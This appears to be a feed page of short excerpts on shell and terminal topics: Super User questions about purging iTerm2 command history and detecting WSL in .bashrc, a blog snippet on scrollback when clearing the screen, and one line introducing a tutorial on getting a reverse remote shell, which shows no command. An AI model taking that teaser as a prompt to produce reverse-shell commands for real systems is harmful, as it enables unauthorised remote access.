I like the iTerm2's Command History feature, Cmd+Shift+;, to quickly find a command from the history. But there are some commands that I want to remove from the list, I already run command like sed -i "" '/searchstring/d' "$HISTFILE" to delete them from bash history file. But when I run Cmd+Shift+;, these commands still show, where iTerm2 store them, how can I update and delete some commands from it?| Recent Questions - Super User
In .bashrc, I have some configuration for specific environments like this. if [ "$(uname)" = 'Linux' ]; then . "$HOME/.bash.d/ubuntu" fi if [ "$(uname)" = 'Darwin' ]; then . "$HOME/.bash.d/osx" fi To know whether the current environment is under WSL, I use the /etc/wsl.conf file that normally only exists in WSL. if [ -f "/etc/wsl.conf" ]; then . "$HOME/.bash.d/wsl" fi But of course, the file can also exist in other environments. How should I check if the current environment is running in WSL?| Recent Questions - Super User

Here is how to get reverse remote shell. I say reverse because the remote system is connecting to you. I'll demonstrate it on a single machine for simplicity.

The problem Clearing the screen on the terminal is quite finicky. The behaviour on some emulators (Ghostty, Kitty & co.) is massively different than say on iTerm2 or the macOS built-in Terminal.app. You see, I tend to use the command clear, which is aliased to c in my case. Now, I like to keep the scrollback buffer intact. Using clear, the scrollback is only preserved so far by iTerm2 and the Terminal.app. In all the other emulators that I’ve tried so far, the scrollback gets cut off – fr...| macOS & (open-source) Software
